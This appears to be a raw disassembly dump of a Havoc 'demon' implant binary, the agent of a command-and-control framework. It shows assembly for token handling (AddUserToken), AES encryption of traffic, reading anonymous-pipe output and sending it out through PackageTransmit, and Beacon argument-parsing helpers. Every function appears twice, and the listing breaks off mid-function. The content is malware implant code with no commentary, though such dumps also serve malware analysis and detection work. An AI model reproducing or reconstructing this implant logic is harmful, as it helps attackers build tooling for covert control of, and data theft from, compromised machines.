File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140007b10
140007b10AddUserToken:
140007b10push r12
140007b12xor r12l, r12l
140007b15push rbp
140007b16push rdi
140007b17mov rdi, rdx
140007b1apush rsi
140007b1bmov rsi, r8
140007b1epush rbx
140007b1fmov rbx, rcx
140007b22sub rsp, 32
140007b26
140007b26loc_140007b26:
140007b26mov ecx, [rsi]
140007b28cmp r12l, ecx
140007b2bjae 0x140007b90
140007b2dmov ebp, r12l
140007b30mov rdx, rbx
140007b33imul rbp, rbp, 1056
140007b3aadd rbp, rdi
140007b3dmov rcx, rbp
140007b40call StringCompareW
140007b45test eax, eax
140007b47jne 0x140007b8b
140007b49mov eax, [rbx+1048]
140007b4fcmp [rbp+1048], eax
140007b55jne 0x140007b8b
140007b57mov rax, [rbx+1040]
140007b5ecmp [rbp+1040], rax
140007b65jne 0x140007b8b
140007b67cmp [rbp+1032], 0
140007b6fmov rax, [rbx+1032]
140007b76jne 0x140007b82
140007b78test rax, rax
140007b7bjne 0x140007b8b
140007b7djmp 0x140007c0c
140007b82
140007b82loc_140007b82:
140007b82test rax, rax
140007b85jne 0x140007c0c
140007b8b
140007b8bloc_140007b8b:
140007b8binc r12l
140007b8ejmp 0x140007b26
140007b90
140007b90loc_140007b90:
140007b90imul rcx, rcx, 1056
140007b97mov rdx, rbx
140007b9aadd rcx, rdi
140007b9dcall StringCopyW
140007ba2mov eax, [rsi]
140007ba4mov edx, [rbx+1024]
140007baaimul rax, rax, 1056
140007bb1mov [rdi+rax+1024], edx
140007bb8mov eax, [rsi]
140007bbamov rdx, [rbx+1032]
140007bc1imul rax, rax, 1056
140007bc8add rax, rdi
140007bcbmov [rax+1032], rdx
140007bd2mov edx, [rbx+1044]
140007bd8mov [rax+1044], edx
140007bdemov eax, [rsi]
140007be0mov edx, [rbx+1048]
140007be6imul rax, rax, 1056
140007bedmov [rdi+rax+1048], edx
140007bf4mov eax, [rsi]
140007bf6mov edx, [rbx+1040]
140007bfcimul rax, rax, 1056
140007c03mov [rdi+rax+1040], edx
140007c0ainc [rsi]
140007c0c
140007c0cloc_140007c0c:
140007c0cadd rsp, 32
140007c10pop rbx
140007c11pop rsi
140007c12pop rdi
140007c13pop rbp
140007c14pop r12
140007c16ret
140007b10
140007b10AddUserToken:
140007b10push r12
140007b12xor r12l, r12l
140007b15push rbp
140007b16push rdi
140007b17mov rdi, rdx
140007b1apush rsi
140007b1bmov rsi, r8
140007b1epush rbx
140007b1fmov rbx, rcx
140007b22sub rsp, 32
140007b26
140007b26loc_140007b26:
140007b26mov ecx, [rsi]
140007b28cmp r12l, ecx
140007b2bjae 0x140007b90
140007b2dmov ebp, r12l
140007b30mov rdx, rbx
140007b33imul rbp, rbp, 1056
140007b3aadd rbp, rdi
140007b3dmov rcx, rbp
140007b40call StringCompareW
140007b45test eax, eax
140007b47jne 0x140007b8b
140007b49mov eax, [rbx+1048]
140007b4fcmp [rbp+1048], eax
140007b55jne 0x140007b8b
140007b57mov rax, [rbx+1040]
140007b5ecmp [rbp+1040], rax
140007b65jne 0x140007b8b
140007b67cmp [rbp+1032], 0
140007b6fmov rax, [rbx+1032]
140007b76jne 0x140007b82
140007b78test rax, rax
140007b7bjne 0x140007b8b
140007b7djmp 0x140007c0c
140007b82
140007b82loc_140007b82:
140007b82test rax, rax
140007b85jne 0x140007c0c
140007b8b
140007b8bloc_140007b8b:
140007b8binc r12l
140007b8ejmp 0x140007b26
140007b90
140007b90loc_140007b90:
140007b90imul rcx, rcx, 1056
140007b97mov rdx, rbx
140007b9aadd rcx, rdi
140007b9dcall StringCopyW
140007ba2mov eax, [rsi]
140007ba4mov edx, [rbx+1024]
140007baaimul rax, rax, 1056
140007bb1mov [rdi+rax+1024], edx
140007bb8mov eax, [rsi]
140007bbamov rdx, [rbx+1032]
140007bc1imul rax, rax, 1056
140007bc8add rax, rdi
140007bcbmov [rax+1032], rdx
140007bd2mov edx, [rbx+1044]
140007bd8mov [rax+1044], edx
140007bdemov eax, [rsi]
140007be0mov edx, [rbx+1048]
140007be6imul rax, rax, 1056
140007bedmov [rdi+rax+1048], edx
140007bf4mov eax, [rsi]
140007bf6mov edx, [rbx+1040]
140007bfcimul rax, rax, 1056
140007c03mov [rdi+rax+1040], edx
140007c0ainc [rsi]
140007c0c
140007c0cloc_140007c0c:
140007c0cadd rsp, 32
140007c10pop rbx
140007c11pop rsi
140007c12pop rdi
140007c13pop rbp
140007c14pop r12
140007c16ret
140007b10
140007c17
140007c17 // align 0x10
140007c17 // align 0x10
140007c20
140007c20AesInit:
140007c20push rbp
140007c21mov rbp, rsp
140007c24push rsi
140007c25mov rsi, r8
140007c28push rbx
140007c29mov rbx, rcx
140007c2cand rsp, -16
140007c30sub rsp, 32
140007c34call KeyExpansion
140007c39mov rax, [rsi]
140007c3cmov rdx, [rsi+8]
140007c40mov [rbx+240], rax
140007c47mov [rbx+248], rdx
140007c4elea rsp, [rbp-16]
140007c52pop rbx
140007c53pop rsi
140007c54pop rbp
140007c55ret
140007c20
140007c20AesInit:
140007c20push rbp
140007c21mov rbp, rsp
140007c24push rsi
140007c25mov rsi, r8
140007c28push rbx
140007c29mov rbx, rcx
140007c2cand rsp, -16
140007c30sub rsp, 32
140007c34call KeyExpansion
140007c39mov rax, [rsi]
140007c3cmov rdx, [rsi+8]
140007c40mov [rbx+240], rax
140007c47mov [rbx+248], rdx
140007c4elea rsp, [rbp-16]
140007c52pop rbx
140007c53pop rsi
140007c54pop rbp
140007c55ret
140007c20
140007c56
140007c56 // align 0x10
140007c56 // align 0x10
140007c60
140007c60AesXCryptBuffer:
140007c60push rbp
140007c61lea rax, [rdx+r8]
140007c65mov rbp, rsp
140007c68push r15
140007c6apush r14
140007c6cpush r13
140007c6epush r12
140007c70push rdi
140007c71push rsi
140007c72mov rsi, rdx
140007c75push rbx
140007c76mov rbx, rcx
140007c79and rsp, -16
140007c7dsub rsp, 64
140007c81lea rdi, [rsp+48]
140007c86mov [rsp+40], rax
140007c8bmov eax, 16
140007c90mov [rsp+32], rdi
140007c95
140007c95loc_140007c95:
140007c95cmp [rsp+40], rsi
140007c9aje 0x140007e7f
140007ca0cmp eax, 16
140007ca3jne 0x140007e6c
140007ca9movups x0, [rbx+240]
140007cb0mov r8, rbx
140007cb3xor ecx, ecx
140007cb5mov r12b, 27
140007cb8lea rdx, [rsp+48]
140007cbdmov r14l, 1
140007cc3lea rdi, [rsp+52]
140007cc8movups [rsp+48], x0
140007ccdlea r13, [rip+0x2582c]
140007cd4call AddRoundKey
140007cd9
140007cd9loc_140007cd9:
140007cd9lea rdx, [rsp+48]
140007cdemov rcx, rdx
140007ce1
140007ce1loc_140007ce1:
140007ce1mov rax, rcx
140007ce4xor r8l, r8l
140007ce7
140007ce7loc_140007ce7:
140007ce7movzx r9l, [rax]
140007cebinc r8l
140007ceeadd rax, 4
140007cf2mov r9b, [r13+r9]
140007cf7mov [rax-4], r9b
140007cfbcmp r8b, 4
140007cffjne 0x140007ce7
140007d01inc rcx
140007d04cmp rdi, rcx
140007d07jne 0x140007ce1
140007d09mov cl, [rsp+53]
140007d0dmov al, [rsp+49]
140007d11mov [rsp+49], cl
140007d15mov cl, [rsp+57]
140007d19mov [rsp+53], cl
140007d1dmov cl, [rsp+61]
140007d21mov [rsp+61], al
140007d25mov al, [rsp+50]
140007d29mov [rsp+57], cl
140007d2dmov cl, [rsp+58]
140007d31mov [rsp+58], al
140007d35mov al, [rsp+54]
140007d39mov [rsp+50], cl
140007d3dmov cl, [rsp+62]
140007d41mov [rsp+62], al
140007d45mov al, [rsp+51]
140007d49mov [rsp+54], cl
140007d4dmov cl, [rsp+63]
140007d51mov [rsp+51], cl
140007d55mov cl, [rsp+59]
140007d59mov [rsp+63], cl
140007d5dmov cl, [rsp+55]
140007d61mov [rsp+55], al
140007d65mov [rsp+59], cl
140007d69cmp r14l, 14
140007d6dje 0x140007e31
140007d73lea r11, [rdx+16]
140007d77
140007d77loc_140007d77:
140007d77mov cl, [rdx]
140007d79mov r9b, [rdx+1]
140007d7dadd rdx, 4
140007d81mov r8b, [rdx-2]
140007d85xor r8b, [rdx-1]
140007d89xor r9l, ecx
140007d8cmov r15l, ecx
140007d8fxor cl, [rdx-1]
140007d92mov eax, r9l
140007d95mov r10l, r9l
140007d98add r9l, r9l
140007d9bshr al, 7
140007d9exor r10l, r8l
140007da1imul eax, r12l
140007da5xor r15l, r10l
140007da8xor r15l, eax
140007dabxor r9l, r15l
140007daemov r15b, [rdx-3]
140007db2xor r15b, [rdx-2]
140007db6mov eax, r15l
140007db9mov [rdx-4], r9b
140007dbdmov r9b, [rdx-3]
140007dc1add r15l, r15l
140007dc4shr al, 7
140007dc7imul eax, r12l
140007dcbxor r9l, r10l
140007dcexor r9l, eax
140007dd1mov eax, r8l
140007dd4add r8l, r8l
140007dd7shr al, 7
140007ddaxor r15l, r9l
140007dddmov r9b, [rdx-2]
140007de1imul eax, r12l
140007de5mov [rdx-3], r15b
140007de9xor r9l, r10l
140007decxor r10b, [rdx-1]
140007df0xor r9l, eax
140007df3mov eax, ecx
140007df5add ecx, ecx
140007df7shr al, 7
140007dfaxor r8l, r9l
140007dfdimul eax, r12l
140007e01mov [rdx-2], r8b
140007e05mov r8l, r10l
140007e08xor eax, r8l
140007e0bxor ecx, eax
140007e0dmov [rdx-1], cl
140007e10cmp r11, rdx
140007e13jne 0x140007d77
140007e19mov rdx, [rsp+32]
140007e1emov ecx, r14l
140007e21mov r8, rbx
140007e24inc r14l
140007e27call AddRoundKey
140007e2cjmp 0x140007cd9
140007e31
140007e31loc_140007e31:
140007e31mov r8, rbx
140007e34mov ecx, 14
140007e39call AddRoundKey
140007e3emov eax, 15
140007e43
140007e43loc_140007e43:
140007e43mov dl, [rbx+rax+240]
140007e4acmp dl, -1
140007e4djne 0x140007e5f
140007e4fmov [rbx+rax+240], 0
140007e57sub rax, 1
140007e5bjae 0x140007e43
140007e5djmp 0x140007e6a
140007e5f
140007e5floc_140007e5f:
140007e5fcdqe
140007e61inc edx
140007e63mov [rbx+rax+240], dl
140007e6a
140007e6aloc_140007e6a:
140007e6axor eax, eax
140007e6c
140007e6cloc_140007e6c:
140007e6cmovsxd rdx, eax
140007e6finc eax
140007e71mov dl, [rsp+rdx+48]
140007e75xor [rsi], dl
140007e77inc rsi
140007e7ajmp 0x140007c95
140007e7f
140007e7floc_140007e7f:
140007e7flea rsp, [rbp-56]
140007e83pop rbx
140007e84pop rsi
140007e85pop rdi
140007e86pop r12
140007e88pop r13
140007e8apop r14
140007e8cpop r15
140007e8epop rbp
140007e8fret
140007c60
140007c60AesXCryptBuffer:
140007c60push rbp
140007c61lea rax, [rdx+r8]
140007c65mov rbp, rsp
140007c68push r15
140007c6apush r14
140007c6cpush r13
140007c6epush r12
140007c70push rdi
140007c71push rsi
140007c72mov rsi, rdx
140007c75push rbx
140007c76mov rbx, rcx
140007c79and rsp, -16
140007c7dsub rsp, 64
140007c81lea rdi, [rsp+48]
140007c86mov [rsp+40], rax
140007c8bmov eax, 16
140007c90mov [rsp+32], rdi
140007c95
140007c95loc_140007c95:
140007c95cmp [rsp+40], rsi
140007c9aje 0x140007e7f
140007ca0cmp eax, 16
140007ca3jne 0x140007e6c
140007ca9movups x0, [rbx+240]
140007cb0mov r8, rbx
140007cb3xor ecx, ecx
140007cb5mov r12b, 27
140007cb8lea rdx, [rsp+48]
140007cbdmov r14l, 1
140007cc3lea rdi, [rsp+52]
140007cc8movups [rsp+48], x0
140007ccdlea r13, [rip+0x2582c]
140007cd4call AddRoundKey
140007cd9
140007cd9loc_140007cd9:
140007cd9lea rdx, [rsp+48]
140007cdemov rcx, rdx
140007ce1
140007ce1loc_140007ce1:
140007ce1mov rax, rcx
140007ce4xor r8l, r8l
140007ce7
140007ce7loc_140007ce7:
140007ce7movzx r9l, [rax]
140007cebinc r8l
140007ceeadd rax, 4
140007cf2mov r9b, [r13+r9]
140007cf7mov [rax-4], r9b
140007cfbcmp r8b, 4
140007cffjne 0x140007ce7
140007d01inc rcx
140007d04cmp rdi, rcx
140007d07jne 0x140007ce1
140007d09mov cl, [rsp+53]
140007d0dmov al, [rsp+49]
140007d11mov [rsp+49], cl
140007d15mov cl, [rsp+57]
140007d19mov [rsp+53], cl
140007d1dmov cl, [rsp+61]
140007d21mov [rsp+61], al
140007d25mov al, [rsp+50]
140007d29mov [rsp+57], cl
140007d2dmov cl, [rsp+58]
140007d31mov [rsp+58], al
140007d35mov al, [rsp+54]
140007d39mov [rsp+50], cl
140007d3dmov cl, [rsp+62]
140007d41mov [rsp+62], al
140007d45mov al, [rsp+51]
140007d49mov [rsp+54], cl
140007d4dmov cl, [rsp+63]
140007d51mov [rsp+51], cl
140007d55mov cl, [rsp+59]
140007d59mov [rsp+63], cl
140007d5dmov cl, [rsp+55]
140007d61mov [rsp+55], al
140007d65mov [rsp+59], cl
140007d69cmp r14l, 14
140007d6dje 0x140007e31
140007d73lea r11, [rdx+16]
140007d77
140007d77loc_140007d77:
140007d77mov cl, [rdx]
140007d79mov r9b, [rdx+1]
140007d7dadd rdx, 4
140007d81mov r8b, [rdx-2]
140007d85xor r8b, [rdx-1]
140007d89xor r9l, ecx
140007d8cmov r15l, ecx
140007d8fxor cl, [rdx-1]
140007d92mov eax, r9l
140007d95mov r10l, r9l
140007d98add r9l, r9l
140007d9bshr al, 7
140007d9exor r10l, r8l
140007da1imul eax, r12l
140007da5xor r15l, r10l
140007da8xor r15l, eax
140007dabxor r9l, r15l
140007daemov r15b, [rdx-3]
140007db2xor r15b, [rdx-2]
140007db6mov eax, r15l
140007db9mov [rdx-4], r9b
140007dbdmov r9b, [rdx-3]
140007dc1add r15l, r15l
140007dc4shr al, 7
140007dc7imul eax, r12l
140007dcbxor r9l, r10l
140007dcexor r9l, eax
140007dd1mov eax, r8l
140007dd4add r8l, r8l
140007dd7shr al, 7
140007ddaxor r15l, r9l
140007dddmov r9b, [rdx-2]
140007de1imul eax, r12l
140007de5mov [rdx-3], r15b
140007de9xor r9l, r10l
140007decxor r10b, [rdx-1]
140007df0xor r9l, eax
140007df3mov eax, ecx
140007df5add ecx, ecx
140007df7shr al, 7
140007dfaxor r8l, r9l
140007dfdimul eax, r12l
140007e01mov [rdx-2], r8b
140007e05mov r8l, r10l
140007e08xor eax, r8l
140007e0bxor ecx, eax
140007e0dmov [rdx-1], cl
140007e10cmp r11, rdx
140007e13jne 0x140007d77
140007e19mov rdx, [rsp+32]
140007e1emov ecx, r14l
140007e21mov r8, rbx
140007e24inc r14l
140007e27call AddRoundKey
140007e2cjmp 0x140007cd9
140007e31
140007e31loc_140007e31:
140007e31mov r8, rbx
140007e34mov ecx, 14
140007e39call AddRoundKey
140007e3emov eax, 15
140007e43
140007e43loc_140007e43:
140007e43mov dl, [rbx+rax+240]
140007e4acmp dl, -1
140007e4djne 0x140007e5f
140007e4fmov [rbx+rax+240], 0
140007e57sub rax, 1
140007e5bjae 0x140007e43
140007e5djmp 0x140007e6a
140007e5f
140007e5floc_140007e5f:
140007e5fcdqe
140007e61inc edx
140007e63mov [rbx+rax+240], dl
140007e6a
140007e6aloc_140007e6a:
140007e6axor eax, eax
140007e6c
140007e6cloc_140007e6c:
140007e6cmovsxd rdx, eax
140007e6finc eax
140007e71mov dl, [rsp+rdx+48]
140007e75xor [rsi], dl
140007e77inc rsi
140007e7ajmp 0x140007c95
140007e7f
140007e7floc_140007e7f:
140007e7flea rsp, [rbp-56]
140007e83pop rbx
140007e84pop rsi
140007e85pop rdi
140007e86pop r12
140007e88pop r13
140007e8apop r14
140007e8cpop r15
140007e8epop rbp
140007e8fret
140007c60
140007e90
140007e90AnonPipesInit:
140007e90push rsi
140007e91xor eax, eax
140007e93lea rdx, [rcx+8]
140007e97xor r9l, r9l
140007e9apush rbx
140007e9bmov ebx, 1
140007ea0sub rsp, 72
140007ea4mov rsi, [rip+0x244c5]
140007eabmov [rsp+40], 24
140007eb3lea r8, [rsp+40]
140007eb8mov [rsp+48], rax
140007ebdmov [rsp+56], 1
140007ec5call [rsi+908]
140007ecbtest eax, eax
140007ecdjne 0x140007ee5
140007ecfmov ebx, eax
140007ed1mov rax, [rsi+2230]
140007ed8mov ecx, 1
140007eddmov edx, [rax+104]
140007ee0call PackageTransmitError
140007ee5
140007ee5loc_140007ee5:
140007ee5add rsp, 72
140007ee9mov eax, ebx
140007eebpop rbx
140007eecpop rsi
140007eedret
140007e90
140007e90AnonPipesInit:
140007e90push rsi
140007e91xor eax, eax
140007e93lea rdx, [rcx+8]
140007e97xor r9l, r9l
140007e9apush rbx
140007e9bmov ebx, 1
140007ea0sub rsp, 72
140007ea4mov rsi, [rip+0x244c5]
140007eabmov [rsp+40], 24
140007eb3lea r8, [rsp+40]
140007eb8mov [rsp+48], rax
140007ebdmov [rsp+56], 1
140007ec5call [rsi+908]
140007ecbtest eax, eax
140007ecdjne 0x140007ee5
140007ecfmov ebx, eax
140007ed1mov rax, [rsi+2230]
140007ed8mov ecx, 1
140007eddmov edx, [rax+104]
140007ee0call PackageTransmitError
140007ee5
140007ee5loc_140007ee5:
140007ee5add rsp, 72
140007ee9mov eax, ebx
140007eebpop rbx
140007eecpop rsi
140007eedret
140007e90
140007eee
140007eee // align 0x10
140007eee // align 0x10
140007ef0
140007ef0AnonPipesRead:
140007ef0push r15
140007ef2xor eax, eax
140007ef4xor r8l, r8l
140007ef7lea r9, [rip+0x2271d]
140007efepush r14
140007f00push r13
140007f02push r12
140007f04mov r12, rcx
140007f07xor ecx, ecx
140007f09push rbp
140007f0apush rdi
140007f0bpush rsi
140007f0cpush rbx
140007f0dsub rsp, 1112
140007f14mov [rsp+80], rcx
140007f19lea rdi, [rsp+96]
140007f1emov [rsp+88], rcx
140007f23mov ecx, 252
140007f28rep stosd [rdi], eax
140007f2amov [rsp+1192], edx
140007f31lea rcx, [rip+0x22435]
140007f38lea rdx, [rip+0x25271]
140007f3fmov [rsp+76], r8l
140007f44mov r8l, 1011
140007f4acall printf
140007f4fmov r9, [r12]
140007f53lea rcx, [rip+0x226d9]
140007f5amov r8l, 1012
140007f60lea rdx, [rip+0x25249]
140007f67call printf
140007f6cmov rcx, [r12+8]
140007f71test rcx, rcx
140007f74je 0x140007f82
140007f76call SysNtClose
140007f7bxor edx, edx
140007f7dmov [r12+8], rdx
140007f82
140007f82loc_140007f82:
140007f82mov r13, [rip+0x243e7]
140007f89xor edx, edx
140007f8bmov ecx, 64
140007f90xor ebx, ebx
140007f92lea r14, [rsp+80]
140007f97call [r13+932]
140007f9emov rbp, rax
140007fa1lea rax, [rsp+76]
140007fa6mov [rsp+56], rax
140007fab
140007fabloc_140007fab:
140007fabxor eax, eax
140007fadmov r9, [rsp+56]
140007fb2mov r8l, 1024
140007fb8mov rdx, r14
140007fbbmov [rsp+32], rax
140007fc0mov rcx, [r12]
140007fc4call [r13+916]
140007fcbmov r9l, [rsp+76]
140007fd0mov r8l, 1023
140007fd6lea rdx, [rip+0x251d3]
140007fddlea rcx, [rip+0x2267c]
140007fe4mov r15l, eax
140007fe7call printf
140007fecmov eax, [rsp+76]
140007ff0test eax, eax
140007ff2je 0x140008034
140007ff4lea edx, [rbx+rax]
140007ff7mov rcx, rbp
140007ffamov r8l, 2
140008000mov rsi, r14
140008003mov rbx, rdx
140008006call [r13+948]
14000800dmov ecx, [rsp+76]
140008011mov rbp, rax
140008014mov eax, ebx
140008016sub eax, ecx
140008018add rax, rbp
14000801bmov rdi, rax
14000801exor eax, eax
140008020rep movsb [rdi], [rsi]
140008022mov rdi, r14
140008025mov ecx, [rsp+76]
140008029rep stosb [rdi], al
14000802bdec r15l
14000802eje 0x140007fab
140008034
140008034loc_140008034:
140008034test ebx, ebx
140008036je 0x140008062
140008038mov edx, [rsp+1192]
14000803fmov ecx, 90
140008044call PackageCreateWithRequestID
140008049mov r8l, ebx
14000804cmov rdx, rbp
14000804fmov r12, rax
140008052mov rcx, rax
140008055call PackageAddBytes
14000805amov rcx, r12
14000805dcall PackageTransmit
140008062
140008062loc_140008062:
140008062test rbp, rbp
140008065je 0x14000807a
140008067mov ecx, ebx
140008069mov rdi, rbp
14000806cxor eax, eax
14000806erep stosb [rdi], al
140008070mov rcx, rbp
140008073call [r13+940]
14000807a
14000807aloc_14000807a:
14000807aadd rsp, 1112
140008081pop rbx
140008082pop rsi
140008083pop rdi
140008084pop rbp
140008085pop r12
140008087pop r13
140008089pop r14
14000808bpop r15
14000808dret
140007ef0
140007ef0AnonPipesRead:
140007ef0push r15
140007ef2xor eax, eax
140007ef4xor r8l, r8l
140007ef7lea r9, [rip+0x2271d]
140007efepush r14
140007f00push r13
140007f02push r12
140007f04mov r12, rcx
140007f07xor ecx, ecx
140007f09push rbp
140007f0apush rdi
140007f0bpush rsi
140007f0cpush rbx
140007f0dsub rsp, 1112
140007f14mov [rsp+80], rcx
140007f19lea rdi, [rsp+96]
140007f1emov [rsp+88], rcx
140007f23mov ecx, 252
140007f28rep stosd [rdi], eax
140007f2amov [rsp+1192], edx
140007f31lea rcx, [rip+0x22435]
140007f38lea rdx, [rip+0x25271]
140007f3fmov [rsp+76], r8l
140007f44mov r8l, 1011
140007f4acall printf
140007f4fmov r9, [r12]
140007f53lea rcx, [rip+0x226d9]
140007f5amov r8l, 1012
140007f60lea rdx, [rip+0x25249]
140007f67call printf
140007f6cmov rcx, [r12+8]
140007f71test rcx, rcx
140007f74je 0x140007f82
140007f76call SysNtClose
140007f7bxor edx, edx
140007f7dmov [r12+8], rdx
140007f82
140007f82loc_140007f82:
140007f82mov r13, [rip+0x243e7]
140007f89xor edx, edx
140007f8bmov ecx, 64
140007f90xor ebx, ebx
140007f92lea r14, [rsp+80]
140007f97call [r13+932]
140007f9emov rbp, rax
140007fa1lea rax, [rsp+76]
140007fa6mov [rsp+56], rax
140007fab
140007fabloc_140007fab:
140007fabxor eax, eax
140007fadmov r9, [rsp+56]
140007fb2mov r8l, 1024
140007fb8mov rdx, r14
140007fbbmov [rsp+32], rax
140007fc0mov rcx, [r12]
140007fc4call [r13+916]
140007fcbmov r9l, [rsp+76]
140007fd0mov r8l, 1023
140007fd6lea rdx, [rip+0x251d3]
140007fddlea rcx, [rip+0x2267c]
140007fe4mov r15l, eax
140007fe7call printf
140007fecmov eax, [rsp+76]
140007ff0test eax, eax
140007ff2je 0x140008034
140007ff4lea edx, [rbx+rax]
140007ff7mov rcx, rbp
140007ffamov r8l, 2
140008000mov rsi, r14
140008003mov rbx, rdx
140008006call [r13+948]
14000800dmov ecx, [rsp+76]
140008011mov rbp, rax
140008014mov eax, ebx
140008016sub eax, ecx
140008018add rax, rbp
14000801bmov rdi, rax
14000801exor eax, eax
140008020rep movsb [rdi], [rsi]
140008022mov rdi, r14
140008025mov ecx, [rsp+76]
140008029rep stosb [rdi], al
14000802bdec r15l
14000802eje 0x140007fab
140008034
140008034loc_140008034:
140008034test ebx, ebx
140008036je 0x140008062
140008038mov edx, [rsp+1192]
14000803fmov ecx, 90
140008044call PackageCreateWithRequestID
140008049mov r8l, ebx
14000804cmov rdx, rbp
14000804fmov r12, rax
140008052mov rcx, rax
140008055call PackageAddBytes
14000805amov rcx, r12
14000805dcall PackageTransmit
140008062
140008062loc_140008062:
140008062test rbp, rbp
140008065je 0x14000807a
140008067mov ecx, ebx
140008069mov rdi, rbp
14000806cxor eax, eax
14000806erep stosb [rdi], al
140008070mov rcx, rbp
140008073call [r13+940]
14000807a
14000807aloc_14000807a:
14000807aadd rsp, 1112
140008081pop rbx
140008082pop rsi
140008083pop rdi
140008084pop rbp
140008085pop r12
140008087pop r13
140008089pop r14
14000808bpop r15
14000808dret
140007ef0
14000808e
14000808e // align 0x10
14000808e // align 0x10
140008090
140008090BeaconCleanupProcess:
140008090push rbx
140008091mov rbx, rcx
140008094sub rsp, 32
140008098mov rcx, [rcx]
14000809bcall SysNtClose
1400080a0test eax, eax
1400080a2jne 0x1400080b2
1400080a4mov rcx, [rbx+8]
1400080a8add rsp, 32
1400080acpop rbx
1400080adjmp 0x14001e9f0
1400080b2
1400080b2loc_1400080b2:
1400080b2add rsp, 32
1400080b6pop rbx
1400080b7ret
140008090
140008090BeaconCleanupProcess:
140008090push rbx
140008091mov rbx, rcx
140008094sub rsp, 32
140008098mov rcx, [rcx]
14000809bcall SysNtClose
1400080a0test eax, eax
1400080a2jne 0x1400080b2
1400080a4mov rcx, [rbx+8]
1400080a8add rsp, 32
1400080acpop rbx
1400080adjmp 0x14001e9f0
1400080b2
1400080b2loc_1400080b2:
1400080b2add rsp, 32
1400080b6pop rbx
1400080b7ret
140008090
1400080b8
1400080b8 // align 0x10
1400080b8 // align 0x10
1400080c0
1400080c0BeaconDataExtract:
1400080c0mov r8l, [rcx+16]
1400080c4xor eax, eax
1400080c6cmp r8l, 3
1400080cajle 0x1400080f4
1400080ccmov rax, [rcx+8]
1400080d0sub r8l, 4
1400080d4mov r9l, [rax]
1400080d7add rax, 4
1400080dbsub r8l, r9l
1400080demov [rcx+16], r8l
1400080e2movsxd r8, r9l
1400080e5add r8, rax
1400080e8mov [rcx+8], r8
1400080ectest rdx, rdx
1400080efje 0x1400080f4
1400080f1mov [rdx], r9l
1400080f4
1400080f4loc_1400080f4:
1400080f4ret
1400080c0
1400080c0BeaconDataExtract:
1400080c0mov r8l, [rcx+16]
1400080c4xor eax, eax
1400080c6cmp r8l, 3
1400080cajle 0x1400080f4
1400080ccmov rax, [rcx+8]
1400080d0sub r8l, 4
1400080d4mov r9l, [rax]
1400080d7add rax, 4
1400080dbsub r8l, r9l
1400080demov [rcx+16], r8l
1400080e2movsxd r8, r9l
1400080e5add r8, rax
1400080e8mov [rcx+8], r8
1400080ectest rdx, rdx
1400080efje 0x1400080f4
1400080f1mov [rdx], r9l
1400080f4
1400080f4loc_1400080f4:
1400080f4ret
1400080c0
1400080f5
1400080f5 // align 0x10
1400080f5 // align 0x10
140008100
140008100BeaconDataInt:
140008100mov edx, [rcx+16]
140008103xor eax, eax
140008105cmp edx, 3
140008108jle 0x14000811f
14000810amov r8, [rcx+8]
14000810esub edx, 4
140008111mov eax, [r8]
140008114add r8, 4
140008118mov [rcx+16], edx
14000811bmov [rcx+8], r8
14000811f
14000811floc_14000811f:
14000811fret
140008100
140008100BeaconDataInt:
140008100mov edx, [rcx+16]
140008103xor eax, eax
140008105cmp edx, 3
140008108jle 0x14000811f
14000810amov r8, [rcx+8]
14000810esub edx, 4
140008111mov eax, [r8]
140008114add r8, 4
140008118mov [rcx+16], edx
14000811bmov [rcx+8], r8
14000811f
14000811floc_14000811f:
14000811fret
140008100
140008124
140008124 // align 0x10
140008124 // align 0x10
140008130
140008130BeaconDataParse:
140008130test rcx, rcx
140008133je 0x14000814c
140008135sub r8l, 4
140008139mov [rcx], rdx
14000813cadd rdx, 4
140008140mov [rcx+16], r8l
140008144mov [rcx+20], r8l
140008148mov [rcx+8], rdx
14000814c
14000814cloc_14000814c:
14000814cret
140008130
140008130BeaconDataParse:
140008130test rcx, rcx
140008133je 0x14000814c
140008135sub r8l, 4
140008139mov [rcx], rdx
14000813cadd rdx, 4
140008140mov [rcx+16], r8l
140008144mov [rcx+20], r8l
140008148mov [rcx+8], rdx
14000814c
14000814cloc_14000814c:
14000814cret
140008130
14000814d
14000814d // align 0x10
14000814d // align 0x10
140008150
140008150BeaconDataShort:
140008150mov edx, [rcx+16]
140008153xor eax, eax
140008155cmp edx, 1
140008158jle 0x140008170
14000815amov r8, [rcx+8]
14000815esub edx, 2
140008161mov ax, [r8]
140008165add r8, 2
140008169mov [rcx+16], edx
14000816cmov [rcx+8], r8
140008170
140008170loc_140008170:
140008170ret
140008150
140008150BeaconDataShort:
140008150mov edx, [rcx+16]
140008153xor eax, eax
140008155cmp edx, 1
140008158jle 0x140008170
14000815amov r8, [rcx+8]
14000815esub edx, 2
140008161mov ax, [r8]
140008165add r8, 2
140008169mov [rcx+16], edx
14000816cmov [rcx+8], r8
140008170
140008170loc_140008170:
140008170ret
140008150
140008171
140008171 // align 0x10
140008171 // align 0x10
140008180
140008180BeaconFormatAlloc:
140008180test rcx, rcx
140008183je 0x1400081ba
140008185push rsi
140008186mov esi, edx
140008188mov edx, 1
14000818dpush rbx
14000818emov rbx, rcx
140008191mov ecx, esi
140008193sub rsp, 40
140008197mov rax, [rip+0x241d2]
14000819ecall [rax+932]
1400081a4mov [rbx+20], esi
1400081a7mov [rbx], rax
1400081aamov [rbx+8], rax
1400081aexor eax, eax
1400081b0mov [rbx+16], eax
1400081b3add rsp, 40
1400081b7pop rbx
1400081b8pop rsi
1400081b9ret
1400081ba
1400081baloc_1400081ba:
1400081baret
140008180
140008180BeaconFormatAlloc:
140008180test rcx, rcx
140008183je 0x1400081ba
140008185push rsi
140008186mov esi, edx
140008188mov edx, 1
14000818dpush rbx
14000818emov rbx, rcx
140008191mov ecx, esi
140008193sub rsp, 40
140008197mov rax, [rip+0x241d2]
14000819ecall [rax+932]
1400081a4mov [rbx+20], esi
1400081a7mov [rbx], rax
1400081aamov [rbx+8], rax
1400081aexor eax, eax
1400081b0mov [rbx+16], eax
1400081b3add rsp, 40
1400081b7pop rbx
1400081b8pop rsi
1400081b9ret
1400081ba
1400081baloc_1400081ba:
1400081baret
140008180
1400081bb
1400081bb // align 0x10
1400081bb // align 0x10
1400081c0
1400081c0BeaconFormatAppend:
1400081c0movsxd r9, r8l
1400081c3push rdi
1400081c4mov rax, rcx
1400081c7push rsi
1400081c8mov rsi, rdx
1400081cbmov rdi, [rcx+8]
1400081cfmov rcx, r9
1400081d2rep movsb [rdi], [rsi]
1400081d4pop rsi
1400081d5add [rax+8], r9
1400081d9add [rax+16], r8l
